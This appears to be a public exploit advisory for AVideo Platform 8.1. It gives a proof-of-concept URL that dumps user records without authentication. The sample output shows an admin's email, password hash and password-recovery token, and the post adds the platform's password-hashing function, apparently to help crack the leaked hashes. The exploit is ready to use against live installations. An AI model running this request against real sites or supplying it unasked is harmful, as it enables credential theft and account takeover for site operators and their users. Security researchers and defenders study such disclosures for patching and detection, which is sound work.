AVideo Platform 8.1 User Enumeration

AVideo Platform version 8.1 suffers from an information disclosure vulnerability that allows for user enumeration.


MD5 | d62321c216670ae38d7594f28dda9f7a

# Exploit Title: AVideo Platform 8.1 - Information Disclosure (User Enumeration)
# Dork: N/A
# Date: 2020-02-05
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://avideo.com
# Software Link: https://github.com/WWBN/AVideo
# Version: 8.1
# Tested on: Linux
# CVE: N/A

# POC:
# 1)
# http://localhost/[PATH]/objects/playlistsFromUser.json.php?users_id=[ID]
#
................
0
id 92
user "admin"
name "Watch Later"
email "user@localhost"
password "bc79a173cc20f0897db1c5b004588db9"
created "2019-05-16 21:42:42"
modified "2019-05-16 21:42:42"
isAdmin 1
status "watch_later"
photoURL "videos/userPhoto/photo1.png"
lastLogin "2020-02-03 08:11:08"
recoverPass "0ce70c7b006c78552fee993adeaafadf"
................
#
# Hash function to be converted ....
#
function encryptPassword($password, $noSalt = false) {
global $advancedCustom, $global, $advancedCustomUser;
if (!empty($advancedCustomUser->encryptPasswordsWithSalt) && !empty($global['salt']) && empty($noSalt)) {
$password .= $global['salt'];
}

return md5(hash("whirlpool", sha1($password)));
}
#

Related Posts